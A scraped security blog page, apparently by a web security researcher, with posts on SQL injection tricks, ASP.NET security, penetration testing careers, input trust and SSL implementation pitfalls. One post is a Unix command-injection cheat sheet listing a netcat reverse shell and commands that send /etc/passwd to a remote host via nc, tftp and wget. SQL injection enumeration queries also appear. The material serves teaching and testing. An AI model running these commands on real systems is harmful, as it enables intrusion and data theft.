One Click Ownage

I’ve been keeping this under my desk for ages now. It’s been about 6 months since I came up with a practical exploitation of this idea and even developed an application to automate the scanning and exploitation process.

This attack is all about SQL Injection for lazy minds. One of the classical SQL Injection attacks in SQL Server – SA connections is obviously trying to get reverse shell from the target database. There are some ways to do it, like sending hundreds of requests or using PERL scripts, executables etc. I didn’t like the current approach and decided to find a better way to deal with it.

I think I came up with the holy grail of the this attack. One request to get a reverse shell, can’t get any better than that. You can copy paste it, you can stick it into an src attribute of an img tag to carry out a CSRF attack etc.

Bu Yazılar Kaçmaz
Why platform matters in web application security?
Ücretsiz Web Güvenliği Tarayıcısı

GROUP_CONCAT MySQL SQL Injection

Apparently GROUP_CONCAT() is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (global option, can't be set via an SQL Injection) which is not enough for one query sql-dump sorts of tricks.

However this simple query can be useful for enumerating tables and columns together in fewer requests:

  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
  • SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

 

Output will be look like:

  • 'db>Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
  • 'help_category>help_category_id,name,parent_category_id,url'
  • 'help_keyword>help_keyword_id,name'

Damn! I should update SQL Injection Cheat Sheet and SQL Injection Wiki , lots to catch up...

Süper Makale SSL İmplementasyon Güvenliği

SSL İmplementasyon Güvenliği dokümanımı Web Güvenliği Topluluğu (WGT) altında yayınladım. Dokümanı daha önce ingilizce olarak SSL Implementation Security FAQ adı ile yayınlamıştım, Türkçe versiyonu biraz daha fazla bilgi içeriyor. Çevirirken tekrar üzerinden geçme fırsatım oldu. Eğer yazılım ve web uygulaması geliştiriyorsanız kesinlikle bir göz atın.

ASP.NET Güvenliği ve Platform Tasarımı

Öncelikle genel yapılan geyiklerden birini kestirip atalım:

Tüm sunucu-taraflı (server-side) diller aynı seviyede güvenlidir, herşey kodu yazan kişiye bağlıdır.

Bunu unutun, yok böyle bir şey. Hemen açıkça söyleyelim mesela ASP.NET tasarımı PHP ye göre çok daha güvenlidir. Şimdi bir çok kişi yorumlara saldırmadan önce yazıya devam edelim. Mesela Struts (dil değil platform/framework) hatırı sayılır derecede bir çok platformdan daha güvenlidir.

Her dilde ve platformda güvenli olmayan yazılım geliştirebilirsiniz ama bazı platformlarda güvenli olmayan yazılım geliştirmek çok daha kolay. Şimdi bir dilin - platformun güvenlik noktasında nasıl analiz edilebileceğine bir bakalım.

Server-Side dillerin Güvenlik Analiz Kriterleri:

  • Yazılım güvenliği, platformun kendisinde çıkan açıklar (buffer overflow, yanlış çalışan encoding fonksiyonları vs.)
  • Platform tarafından sunulan güvenlik kütüphaneleri, fonksiyonlar
  • Platformun dokümantasyon ve eğitimlerin güvenli yazılım geliştirme pratiklerini teşvik ediyor olması. Güvenli kod yazmanın kolay olması
  • Güvenli varsayılan ayarlar ve fonksiyonlar varsayılan olarak güvenli şekilde çalışması

Burada bütün platformaları karşılaştırmayacağım zaten farklı platformlardaki teknik yetersizliğimden dolay bunu yapma imkanım da yok ama örnekler verip ASP.NET' in neleri başarılı bir şekilde yaptığını göstermeye çalışacağım.

Platformun Kendisinde Çıkan Açıklar

Bu tip açıklara şu örnekleri verebiliriz : ASP.NET Request Validation Bypass, PHP Global Overwrite, PHP Zend Hash Problemleri, Struts Validation Bypass vs.

PHP bu konuda tamamen sabıkalı, The Month of PHP Bugs bunu bize gösterdi zaten. Burada söyleyecek pek bir şey yok, ASP.NET in .NET Framework' ü üzerinde geliştirilmiş olması aynı Java gibi onu Buffer Overflow ve benzeri ataklardan tamamen korunmasına neden oluyor. Dolayısıyla .NET Framework' ün temelinde bir sorun çıkmadıktan sonra bir dizi güvenlik açığının ASP.NET te görülmesi imkansız hale geliyor.

Bunun harici foksiyonların kendilerinde çok ciddi sorunlar çıkmadı buna rağmen NULL karakterler ile string birleştirme operastyonları etkileme gibi açıkları çıktı. Dolayısıyla ASP.NET' te bu konuda mükemmel değil ama çok da kötü değil.

Güvenlik Kütüphaneleri ve Fonksiyonlar

ASP.NET tasarlandığı gibi kullanıldığında şu sorunların hepsini çözüyor :

  • SQL Injection
    Parameterised Query kullanımı
  • XSS, Cross-site Scripting
    Default olarak control' lerde encoding desteği, Request Validation desteği (bu sadece derinlemesine defans faktörü, sorunun çözümü değil). Bunlara rağmen ASP.NET' in control encoding desteğinin o kadar mükemmel olmadığını da belirtmek lazım.
  • Güvenli Kullanıcı Sistemi (Login/Logout, Role sistemi, şifre güvenliği vs.)
    ASP.NET Membership sistemi basit ve güvenli şekilde bir kullanıcı sistemi oluşturmanıza izin veriyor.
  • CSRF (Cross-site Request Forgery)
    ViewStateUserKey ile uygulama CSRF ataklarına karşı güvenli hale getirilebilir.
  • CRLF Injections
    İç fonksiyonların güvenli olması otomatik olarak CRLF açıklarından (HTTP Splitting) koruyor. Bazı fonksiyonlarda sorun olsa da en azından genelde güvenli diyebiliriz.
  • Parameter Manipulation
    ASP.NET istemci tarafına giden datanın modifiye edilmeden döndüğünü kontrol edebiliyor ama bu aslında pek iyi bir yazılım geliştirme pratiği değil. Eğer istemci tarafına giden datanın aynı olmasını istiyorsanız istemciden gelen parametreyi kullanmaz ve datayı session yada benzeri bir yerde tutarsınız. Buna rağmen bazı yazılımlar scability amaçlı buna ihtiyaç duyabiliyorlar.

    Ek olarak ASP.NET Validators var, bunlar sayesinde girdi denetimi yapmakta gayet pratik.

Bunun harici güvenlik ile ilgili bir çok hazır fonksiyon ve kütühane sunuyor:

  • Şifreleme ve Encoding Kütüphaneleri. Ek olarak bu kütüphaneler UTF8 ve UTF8 olmayan data ile de iyi geçiniyorlar.

Güvenli Yazılım Geliştirmeye Teşvik Etme

ASP.NET' in resmi dokümantasyonu güvenliğe çok önem veriyor. Bir çok güvenlik ile ilgili makale ve bu güvenlik özelliklerinin nasıl kullanılacağına dair dokümantasyon sunuyor. Bundan daha da önemlisi örneklerde Parameterised Query kullanımı gibi güvenli kullanımlar öneriliyor ve gösteriliyor. Bir çok işlem için gerekli fonksiyonlar zaten olduğundan kullanıcıların kendi kodlarını yazması gerekmiyor.

Güvenli Varsayılan Ayarlar ve Fonksiyonlar

Bu en önemli özelliklerden biri ve Microsoft' un güvenlik devriminden beri çok önemverdiği bir unsur. ASP.NET varsayılan olarak hata mesajlarını göstermiyor, debugging' i aktif hale getirmiyor.

Response.Redirect fonksiyonu da varsayılan olarak güvenli fonksiyonlara güzel bir örnek olabilir. Mesela PHP' de sayfa yönlendirme işleminden sonra manuel olarak sayfanın işlemin durdurmanız gerekiyor*. Bunu yapmdığınızda üyelik gerektiren sayfalara şifresiz erişim mümkün olabilir. ASP.NET ise bu fonksiyon varsayılan olarak işlemi durduruyor ama isterseniz ekstra bir parametre ile çağırıp sayafnın işlemesini durdurabiliyorsunuz.

Bu yazı bir karşılaştırma yazısı değil daha çok güvenli platform geliştirmeye güzel bir örnek olarak ASP.NET' i gösterme amaçlıdır. Şu an hangi penetration tester' a sorarsanız sorun ASP.NET sitelerinin genellemede çok daha güvenli olduğunu söyleyecektir**.

Güvenli Kod Yazmak Bunun Neresinde ?

Eğer kod güvensiz yazıldıysa maalesef sizi koruyabilecek bir platform henüz keşfedilmedi, ek olarak mantıksal açıklar da aynı şekilde. Hiç bir yazılım dili ya da platform sizi böyle delice bir şey yapmaktan alı koyamaz!

 

* Bunun ana nedeni bu fonksiyonun (header) çok jenerik olması.
** En azından 50 site üzerinde penetration testing yapıp, değişik platformlarda değişk siteler ile çalıştığını varsayıyorum.
*** Nihayet uzun bir aradan sonra teorik ama hala teknik bir yazı yazabildim.

Süper Makale White Papers

Some of my published white papers in chronological order.

  • Hiding your identity in the Internet (Turkish) - 26.04.2003
  • Small XSS Paper - 28.07.2004
    Potentially the first paper ever talks about detecting and exploiting XSS vulnerabilities in HTML attributes and Javascript blocks.
  • A Practical Guide to PGP (Turkish) - 09.01.2005
    Practical introduction to PGP, explains basic of PGP with some real world examples.
  • Attacking and Defending Wireless Networks (Turkish) - 25.12.2005
    A Highly detailed document about attacking and defending wireless network.
  • SQL Injection Cheat Sheet - 15.03.2007
    The most comprehensive SQL Injection Cheat Sheet, includes lots of detailed information about SQL injection methods and covers several different databases. Translated into Japanese, Published in "Hacker Japan" Issue 05.2007.
  • XSS Tunnelling - 10.07.2007
    Cutting edge research about exploitation of XSS vulnerabilities. Explains the implementation and idea of tunnelling HTTP traffic through XSS channels to bypass several restrictions and gain a total control over the victim's session.
  • Deep Blind SQL Injection - 26.10.2007
    A new way to exploit Blind SQL Injections which allows attacker to get 16+ different answers at a time from Blind SQL Injections instead of 2 (true or false). Also it's implemented in BSQL Hacker.
  • SQL Wildcard Attacks - 12.05.2008
    A new attack vector against web applications and databases. Affects more than 70% of web applications with an MS SQL Server database. This attack is now documented in the OWASP Testing Guide v3 as well.
  • SSL Implementation Security FAQ - 14.05.2008
    Quite comprehensive FAQ for common SSL implementation security pitfalls.
  • Kitaplar, Yalanlar, Wired ve Web Application Hackers Handbook

    cover-sandl-200hSiteyi takip edenlerdenseniz yakın dönemde Web Application Hackers Handbook ve Pragmatic Programmer kitaplarını bitirdiğimi biliyor olabilirsiniz.

    Pragmatic Programmer çok uzun zamandır okumak istediğim bir kitaptı ve neredeyse bir başyapıt. Code Complete' tan sonra  yazılım geliştirme konusundaki en iyi kitaptır. Eğer yazılım geliştirme ile ilgiliyseniz kesinlikle ve kesinlikle bu kitabı okuyun. Kitabın genel olarak üslubu da çok keyifli. Daha önceden kitaptan aldığım bazı notları yayınlamıştım.

    Web Application Hackers Handbook daha çok bir referans kitabı. Eğer web uygulaması güvenliği konusunda zaten çalışıyorsanız yeni bir şey bulamayacaksınız. Bu arada kitapta benim geliştirdiğim XSS Shell' den de bahsediliyor ama yazarların bir hatası sonucu XSS Shell' in SecuriTeam tarafından geliştirildiği iddia edilmiş. İnanmayın bu tip şeylere! Bir sonraki baskı olursa düzeltilecekmiş. Özetle kitap güzel ama ben içerisinde benim ilgimi çekecek bir şey bulamadım.

    Normal şartlarda pek dergi okumam, en azından son 8 senedir dergi okumuyorum ama bir dergi istisna. Sanırım herkes Wired' ı biliyordur. Geek' ler için televole dergisi. Nadiren de Edge Magazine' i okuyorum, klasik bir oyun dergisi ile oyun kültürü ve sektörü arasında gidip geliyor.

    Bu ay Wired' ı da bitirdikten sonra yeni bir kitaba başlamam gerekti ve arşivime tekrar bakıp heyecanla okumayı beklediğim kitaplardan biri olan Secret and Lies' a başladım. Schneier (şınayr diye okunuyor) inanılmaz bir karakter, harika bir yazar ve süper bir teknik beyne sahip. Ek olarak iyi bir iş adamı. Dolayısıyla onun yazılarını okumak farklı bir deneyim.

    Kitabın başında 5 sayfada dünyadaki tüm güvenlik sorununu ciddi ciddi çözdü. Gerçekten de dedikleri yapıldığında -ki çok uçuk şeyler değil-, güvenlik sektörünün en büyük sorunları kısa sürede çözülmüş olacaktır. Dolayısıyla henüz kitabın başında olmama rağmen kitap beni şimdiden etkiledi. Kitap hakkında tekrar yazacağım inşallah ama kitabı dijital formatta okumadığımdan dolayı pek not yayınlayamayacağım.

    Takipte Kalın

    Arada benden kitap önerisi isteyenler çıkıyor, Library Thing' te benim kitaplığımı görebilirsiniz. Okuduğum tüm kitaplar orada yok ama bir çoğu orada. Merak edenler oradan beğendiğim ve okuduğum kitapları görebilirler.

    Son olarak benim blog yazmamam bir şey paylaşmadığım anlamına gelmiyor. Okuduklarım sayfasından ya da bu RSS ile benim payşlaştığım yazıları takip edebilirsiniz. Burada gevezelik ettiğim twitter' ım ve şurada da hepsi birlikte Profilactic - fm sayfası var. Memleketimde herkes FriendFeed kullanıyormuş, ben ona henüz bulaşamadım. Şimdilik bu şekilde idare edin artık.

    Süper Makale RIATalks' un Ardından

    2748829625_54aeb15284 Cuma ve Cumartesi RIATalk's taydım ve iki konuda konuştum.

    • Insecure Trends in Web 2.0 / Web 2.0 Uygulamalarında Güvenlik Sorunları
    • Flash Uygulamalarında Güvenlik

    Etkinlik Bahçeşehir üniversitesi Beşiktaş kampüsündeydi. Okunacak değil de daha çok tatil yapılacak bir yer tadında harika bir manzarası vardı. Özellikle benim gibi uzun süredir denizden uzak kalan biri için boğaz manzarasında kola yudumlamak büyük bir keyifti.

    Birinci sunum olan "Web 2.0 Uygulamalarında Güvenlik Sorunları", "Kurumsal" sunumların yapıldığı daha küçük olan salondaydı ve çok daha keyifli geçti, katılımcılar hem sunum sırasında hem de sunumun sonundaki fikir paylaşımı kısmında tam bir harikaydı. Buradan teşekkür ederim kendilerine de.

    İkinci sunum ise "Flash Uygulamalarında Güvenlik" ti. Sunumun içeriği gereği çok fazla teknik bilgi vardı ek olarak güvenlik ile ilgili bilgiye de ihtiyaç vardı, dolayısıyla kendimi CSRF, XSS nedir' i anlatırkem buldum ki bu da tüm sunumu teknik olarak iyice karışık yaptı. Buna rağmen fena geçmedi ama bir daha katılımcıların %80' inin rahatça takip edebileceğine inanmadıktan sonra bu kadar teknik sunum seçmemeye karar verdim. İkinci sorun salon o kadar büyüktü ki sahnede de değilde televizyonda sunum yapıyormuş gibi hissettim. Buna rağmen bir çok kişi iki sunumun da çok güzel olduğunu söyledi, her ne kadar ben ikinci sunumda tuhaf hissetsem de o aslında iyi geçmiş.

    Bunun harici bir çok eski arkadaşımı gördüm, yeni süper insanlar ile tanıştım, bir de konferans sonu arkadaki cafe' de gizli bir güvenlik toplantısı da yaptık. Dolayısıyla arada sosyalleşme şansı da buldum. Türkiye' nin internet camiasının yakınlığını acayip seviyorum, sanki herkes birbirini liseden beri tanıyormuş gibi.

    İki sunumun da hem slaytları hem de videosu online olacak. Insecure Trends in Web 2.0 zaten ingilizce olarak üzerinde çalıştığım bir makalenin türkçe sunumuydu, dolayısıyla çok daha detaylı bir makale o konuda gelecek inşallah.

    Aşağıda RIATalks hakkında konuşan blogların adreslerini veriyorum. Sunum ve videoları bekleyemeyenler için bazı yazılarda benim sunumlarımın teknik detayları da var.

    Fotoğraf için Arman Acar' a http://www.flickr.com/photos/el3ctro/2748829625/ ya teşekkürler.

    Süper Makale Unix Command Injection Cheat Sheet

    Short, yet quite useful command injection cheat sheet.

    Executing Commands

    • Seperating Commands:
      blah;blah2
    • PIPE:
      blah | blah2
    • PIPEZ:
      blah ^ blah2
    • AND:
      blah && blah2
    • OR:
      FAIL || X
    • OR:
      blah%0Dblah2%0Dblah3
    • Backtick:
      `blah`
    • Background:
      `blah & blah2`

    Getting Files / Data

    • FTP:
      Make a new text, and echo and then redirect to FTP
    • NC:
      nc -e /bin/sh
    • NC:
      echo /etc/passwd  | nc host port
    • TFTP:
      echo put /etc/passwd | tftp host
    • WGET:
      wget --post-file /etc/passwd

    Credits : notsosecure and pentestmonkey

    Süper Makale Penetration Tester Olmak

    Daha önceden pek çok kişi zaten söyledi güvenlikçi olmak sadece birkaç teknik konuyu iyi bilmek ya da birkaç kitap okumak değil daha çok beynin nasıl çalıştığı, bir soruna nasıl yaklaşıldığı ve olaylara bakış açısı ile ilgili. Bunun yanında bir çok başka meslekte de gerektiği gibi gündemi takip etme, odaklanma ve havadaki kokuları alabilme de gerekli meziyetlerden.

    Bir güvenlik uzmanının ya da daha spesifik olarak penetration tester’ ın bir dizi özelliğe ihtiyacı var. Bu özelliklerin bir kısmı teknik, ve teknik şeyler öğrenilebilir ama bir kısmı da doğuştan gelen huylar ve muhtemelen ne yaparsanız yapın öğrenemeyeceğiniz ya da gerçekten öğrenmesi seneler sürecek şeyler.

    Konuyu burada hemen “güvenlikçi oılunmaz, güvenlikçi doğulur(!)” a bağlamak istemiyorum, çünkü durum bu değil. İddialara göre Mehmet Akif Ersoy demiş ki “Şiirin %5 ilham, %95 çalışmaktır”. Ben de bu şekilde düşünüyorum, dolayısıyla %5 + %95 e erişince Mehmet Akif Ersoy olunuyor.

    Yazacaklarımın bazıları gerçekten ölümcül bazıları ise sadece işinizde daha iyi olmanızı sağlayacak şeyler.

    • Güvenlikçi Olarak Yaşamak, Güvenlikçi Olarak Düşünmek
      • Yapmak değil, yıkmak
      • Kullanmak değil, Suistimal etmek
    • Derinlemesine Bilgi
    • Paranoya
    • Tutku
    • İletişim Becerisi
    • Okuma

    Penetration Testing, Güvenlik Uzmanı ve Vulnerability Assessment

    Yazının detaylarına geçmeden önce bazı terimleri temiz şekilde ifade etmek gerekir.

    Penetration Testing (Pen Test)
    Bir sistemi dışarıdan genelde ekstra hiçbir ekstra bilgi sahibi olmadan güvenlik açıklarına karşı test etmek ve bu açıkları mümkün olduğu kadar exploit etmek.

    Vulnerability Assessment (VA)

    Aynı penetration testing gibidir ama açıklar exploit edilmez, burada dikkat edilmesi gereken bir nokta var ki Vulnerability Assessment daha çok false positive verecektir ve açığın gerçek etkisini ortaya koymayabilir.

    Mesela test edilen sistemdeki Buffer Overflow açığı olan bir SMTP server varsa ama karşıdaki sistem x64 ise ve bu açık x64 da geçerli değilse Vulnerability Assessment bunu açık olarak direk kabul edecektir ama gerçekte bu açık exploit edilemeyeceğinden direk bir risk taşımamaktır. Buna rağmen eski versiyon bir yazılım bulundurmak genelde iyi bir fikir olmadığından VA’ ın sonuçları her şekilde işe yarayacaktır.

    Güvenlikçi / Güvenlik Uzmanı

    Güvenlik Uzmanı çok geniş bir terim genelde şu iki anlamda kullanılır:

    • Bir sistemin güvenliğini sağlamadan sorumlu kişi.
    • Güvenlik işini bilen kişi.

    İroniktir ki genelde güvenlikçikler sistemleri korurlar Penetration Testerlar gibi saldırmazlar ama bu grubun ikisi de Güvenlikçi, Güvenlik Mühendisi, Güvenlik Uzmanı diye geçebilir.

    Ek olarak bazı güvenlikçiler kendi sistemlerini test etmek için kendi içlerinden kendi sistemlerine saldırganmış gibi de test edebilirler. Bu kişiler genelde iki rolüde üstlenmiş olurlar. Not düşmek lazım bu aynı kendi programınızda “bug” aramak gibidir, yani muhtemelen iyi sonuçlar vermeyecektir. Yazılımın sahibi olarak yazılımın zaten doğru oldu varsayımı ile yola çıktığınızdan genelde önünüzdeki sorunları bile göremeyeceksinizdir.

    Güvenlikçi Olarak Düşünmek

    Polisiye filmlerdeki klasik muhabbetlerden biri “profiling” dir yani saldırganın profilini çıkartabilmek. Buradaki en büyük klişe ise bir dedektifin saldırgan gibi düşünmesidir. Ne kadar klişe olsa da bu gerçekten saldırgana ulaşmanın en iyi yoludur ve güvenlikçi de aynı periyoddan çok daha güçlü şekilde geçer.

    Çünkü bir polis gerçekte saldırgana ulaşmak için kimseyi öldürmez ama güvenlikçi siteye girer, exploit eder, database’ i indirir, reverse shell’ ine erişir. Gerçekten suçu işler, doruğa çıkar ve iner. Bu gereksinim güvenlikçinin içerisinde saldırgan kimliğinin bire bir yaşamasını sağlar.

    Bilinen bir gerçek bir çok büyük güvenlik firmasında çalışan kişilerin eski suçlu hackerlar olduğudur.

    Örnek isterseniz Kevin Mitnick’ in kendisi ya da eski @stake’ in L0pth Heavy Industries hacker grubunda gelen tayfası güzel bir örnek olacaktır. Bu örneklerin yanında diğer bir çok benzer güvenlik sektöründe çalışan kişinin de karanlık bir mazisi vardır. Bu arada not düşmek gerekir ki bu furya değişiyor, yazının ilerisinde ona değineceğim.

    O zaman güvenlikçi saldırgan gibi düşünmelidir, Saldırganın motivasyonu nedir?

    • Para,
      Karşıdaki sistemi kırıp elde edeceği getiri (Kredi Kartı vs.)
    • Şan / Şöhret,
      Cyber Grafiti veya benzeri gösteriler, Saldırgan sistemi kırabildiğini tüm dünyaya gösterir
    • Ego Tatmini,
      Saldırgan karşıdaki sistemi kırıp kendisinin sistemin geliştiricilerinden daha iyi olduğuna inandırır, ek olarak kırılamayanı kırmış yeni bir şey yapmıştır.

    Peki aynı durumda penetration tester ne yapmaktadır, onun motivasyonu nedir?

    • Para,
      Sistemi kırmak, kontrolleri geçmek güvenlikçinin pozisyonun koruması ya da daha iyi bir tester olup daha çok maaş alması demek.
    • Şan / Şöhret,
      Konu ar-ge olunca durum tamamen aynıdır, güvenlikçi yayınladığı yeni bir bir makale, araştırma yazısı ile o çevrede ünlenecektir, aynı şekilde saldırının başarısı ile de firma ya da kendi içerisinde bulunduğu grup içerisinde ünlenecektir.
    • Ego Tatmini,
      Güvenlikçi bu noktada saldırgan ile birebir aynı duyguları paylaşır.

    Görüldüğü üzere güvenlikçi ile saldırgan tamamen aynı duygular içerisindedir, dolayıyla penetration tester’ lar dünyadaki saldırgan rolünü direk olarak oynayan sayılı mesleklerin birini icra etmektedirler.

    Yazının devamı gelecek inşallah, orada biraz daha psikolojik farklılıklara, daha verimli olmak için yapılması gerekenlere ve en sonra olarakta kendinizi bu alanda nasıl geliştirebilirsinize ve Derinlemesine Bilgi, Paranoya, Tutku, İletişim Becerisi, Okuma konularına değinmeye çalışacağım.

    Süper Makale Application Security and Redefining User Input

    One of the cardinal rules of the web application security is "Do not trust the user input" but it's loosely defined. We should've said "Do not trust any input!"

    Which input is coming from the user?

    Web applications are more complicated than they were. Now we have got office applications and shiny Web 2.0 stuff all over the web. Complexity comes with a price tag and lots of hidden layers.


    A perfect example of a hidden layer is the second order injections where the injection goes into a back-end storage, then directly pulled out from there and used in an SQL Query, printing out to the HTML without filtering or something similar. In this level developers believe that data was secure, because it was coming from a back-end, which was supposed to be secure. Guess what, it's not!

    The fact is you can't keep track of your inputs, your input can come from an API that you exposed to your users, an old form which is adding records your db etc.

    First defence would be centralising the input as much as possible, duplicated code is a big threat for security, but this is not enough. You need think "defence in depth" and you should not trust any input. It can be coming from the functions of your programming language, your database internal variables or from your web server, Do not trust any input!

    Recently a CSRF vulnerability spotted in twitter. Twitter has two post screens, one of them for mobile and one of them for normal web browsers. Even though they put a CSRF protection to the normal page, they forgot to put this to the mobile interface. A perfect example of how code duplication can hurt your application's security.

    About couple of months ago I was working on an application and observed that an ASPX file actually doing an HTTP request to itself and then it was printing the response in the page. First question was “How the script would know where is it running from? Which host? Which exact URL?

    The answer was quite obvious: Request.Url, Follow up question was “How ASP.NET would figure out what's in the Request.Url?”. The answer was: "Host Header" of the request. Which means if the target application configured to response all requests for that IP address then you can change the host header to anything you want to accomplish following actions:

    • Using this system as a proxy to browse internal network by sending HTTP requests around,
    • Abusing trust relationships in the internal network and in the very same computer, A perfect example of this accessing ASP.NET error messages and trace.axd file which are only available to local IP address by default.

    It's quite common to see rookie developers blindly trusts HTTP Headers such as HTTP_REFERRER or Cookies, Thus you can carry out SQL Injection attacks, XSS attacks via these channels easily. Experienced developers or more security minded developers are not so naive and they know one can easily modify these. Still it's quite common to rely on system functions or server functions to be secure, because they are coming somewhere you trust, right?

    As shown in the previous example even the functions such as Request.Uri might be controlled by the attacker. Therefore you should not trust anything coming from anywhere...

    NetBouncer ASP.NET Input Validation Library

    NetBouncer .NET Input/Output Validation Library's first version is out now. It has got some basic documentation as well as compiled release. It's uses New BSD Licence allows you to integrate into your commercial or non-commercial applications.

    It's simple yet effective, all input validation is centralised from one place, allows you to integrate your custom plug-ins and custom rules. New Rules can be written in XML or in your native .NET language. Designed ASP.NET in mind can be used in any .NET application. Grab the source-code, check it out. If you fancy, contribute.

    Feel free to report issues or drop me an e-mail. Now spread the word and secure your application.

    Süper Makale SSL Implementation Security FAQ

    SSL Implementation Security FAQ is about implementing SSL in web and desktop applications. This FAQ doesn’t cover issues directly related with SSL/TLS. Only covers issues related with implementing SSL in applications.

    Most of these are common mistakes during the implementation of SSL in the applications. These recommendations are especially critical for e-banking, e-commerce and similar websites.

    Is it secure switch back to HTTP after login over HTTPS?

    No it is not. All communication during the authentication and after authentication should be over SSL.

    There are several reasons:

    • After login authenticated pages might include private information;
    • To able to keep you logged application should use some sorts of session cookie. This can be over URL or in HTTP Headers but it doesn’t matter where it is an attacker can see it and use it. Which will cause an attacker to hijack active session and use. This can be done in several ways. If application uses a session hijacking protection XSS Tunnelling can help an attacker to bypass this protection.
    • An attacker can change responses in the authenticated section and can show a login screen and may require user to enter they password again and steal their passwords. This can be done by injecting a JavaScript to HTTP responses.

    Previously this mistake has been done by Google Gmail.

    Can I put my Login form to HTTP and target my form to HTTPS?

    No, that’s just a terrible idea and almost pointless. This is common mistake has been done by several major websites such as Godaddy.

    • An attacker can modify response before arrives to user and then inject a piece of JavaScript code to steal credentials before user submits it. MITM possibilities are endless there are several ways to do nasty stuff in this situation.
    • User will not know that they are sending the form to HTTPS URL thus they might believe something is wrong or even worse they might get used to it and fall for any phising attack over HTTP.
    • Website users should stick with one URL to login and form URL and the target URL should be over SSL.

    What’s the best way to secure an SSL website?

    Disable HTTP access to the domain, don’t even redirect or link it to SSL. Just inform the users this website is not accessible over HTTP and they have to access it over SSL.

    This is the best practice against MITM and phising attacks. This way your users will be educated that application never accessible over HTTP and when they come across to a phising or MITM attack they will know something is wrong.

    One of the best ways to protect your application against MITM attacks and phising attacks is educating your users.

    How cookies and SSL play together?

    You should always mark your cookies as secure. Otherwise you’ve got a big security risk. Marking cookies as secure will prevent browsers to sending cookies over non SSL connections.

    An attacker can force someone to do a connection over HTTP to steal their cookies and generally cookies carries of session critical information such as Session ID. Thus preventing this attack and marking cookies as secure is quite important.

    How to Implement SSL in non Web Applications?

    Your application should not trust non-valid certificates, if you allow this MITM attacks will be successful against your application. Depending application features and requirements this can lead Remote Code Execution easily.

    I’ve seen this problem in many of bespoke applications. Generally developers leave support for non-valid certificates for testing purposes and deploy it like that. By default many of the underlying API won’t accept connections to non-validated certificated applications, it’s a good idea to keep it like that.

    Should I implement SSL support to non Web Applications?

    Yes you should, depending on the functionality it’s quite possible to do remote code execution because of non SSL connections.

    Two following actions are highly vulnerable to this problem:

    · Auto-update functionality of the application,

    · Rendering a remote HTML in local-zone with Web Browser Control or in a similar control. Don’t forget every application is vulnerable to Cross-site Scripting if they are not over SSL!

    Firefox was vulnerable to this, another similar one identified in a Vista Gadget.

    Can I put an order form designed for offline usage to print over non SSL?

    You might think putting a simple order form without a submit but designed to print and post over non-SSL could be secure, but guess what it’s not secure at all!

    An attacker can inject a piece of JavaScript to this request, can log every single keystroke and send them to attacker’s website automatically. Thus you shouldn’t put an order form or any similar form which requires private information such Credit Card details, address, phone numbers etc.

    In a similar way putting an offline order form such as PDF file to over non-SSL URL is another bad practice since attack can send this PDF file on the fly and modify post address or similar information to get benefit out of it.

    This is common problem with banking websites where they provide these kind of forms over non-SSL connections.

    Should I support weak ciphers?

    No you should not. Main reason behind of supporting these ciphers is supporting old browsers but supporting old browsers is a terrible idea since the internet is full client-side exploits for old browser.

    Which means a user with an old browser is potentially infected by a malware already. Remove support for weak ciphers from your web server.

    Paypal announced that they don’t support old browsers any more.

    Can I support weak ciphers in web server level but restrict access to the application when someone uses weak ciphers?

    No you should not do that. This is a process where web server supports connection with weak ciphers but application informs that user can not continue unless they change their browser and come establish a new connection with a stronger cipher.

    These ciphers are called as “Weak Ciphers” because they feasible crackable with a decent computing power. Basically a data transmitted over weak ciphers are highly vulnerable to cracking. Therefore an attack can sniff this data then crack and view transmitted data later.

    This is dangerous because depending on the application, it might transfer cookies in these weak cipher used connections, (obviously including cookies those marked as secure). Even though application will inform to user that they can not keep using application this first request will send HTTP request over non-SSL connection and an attacker can see this request.

    An attacker can be for victim to do this first request over another website in many different ways such as iframe. It’s enough for an attacker to modify one HTTP response on the fly to accomplish this.

    ActiveX Security and SSL

    If your application requires a custom ActiveX and if your ActiveX allows you to do something more privileged than normal a browser such as reading local files, executing certain OS commands then you should limit your ActiveX execution to only your domain.

    If you limit your ActiveX only for your domain but not only for your domain and HTTPS access then an attacker can do MITM attack and can call this ActiveX over your domain and can use all functionality of the ActiveX. Obviously this can lead vulnerabilities such as arbitrary file reading from local file system, code execution or information leakage.

    You should restrict your custom ActiveX applications to your own domain and SSL. This will stop this attack.

    Download, MD5 Signatures and SSL

    There of lots websites providing hash signatures of files, this is good for especially confirming the integrity of file against file corruption and similar issues. But if you put your files over HTTP then you should know that those hash based signatures are meaningless from security point of view.

    An attacker can change file as well as the hash signatures on the fly.

    Trusted Zone Required Applications and SSL

    Some web applications require adding them to users Internet Explorer’s Trusted Zone list. This allows them to do more privileged actions such as installing ActiveX controls or writing local file system.

    This is bad practice anyway and you shouldn’t do this unless you have to. If you have to this you should inform users that they should add your website to the trusted list with HTTPS not HTTP.

    Any user with an HTTP entry in their Internet Explorer Trusted Sites list is vulnerable to remote code execution attacks. It should be noted that since IE 7 Trusted Zone a lot more secure than IE 6 and may not allows remote code execution by default.

    3rd Party Browser Add-ins and SSL

    HTTP/1.1 RFC 2616 clearly states that clients should not include HTTP Referrers to connections over SSL:

    Clients SHOULD NOT include a Referer header field in a (non-secure) HTTP request if the referring page was transferred with a secure protocol.

    Reasons are:

    • Leaking sessions over URLs - critical;
    • Leaking private information in URLs.
    • Some 3rd party add-ins for browsers such as Not Public Yet leaks SSL URLs by sending current URLs to their server over HTTP. This is not the very same thing but exactly very same affect.

    This means when a user browses a web application over HTTPS, this add-on will send current SSL URL to their server over HTTP. Therefore attackers can see this URL and this is clear breach of URL privacy in SSL.

    Why mixed content (HTTP and HTTPS) is dangerous in one page?

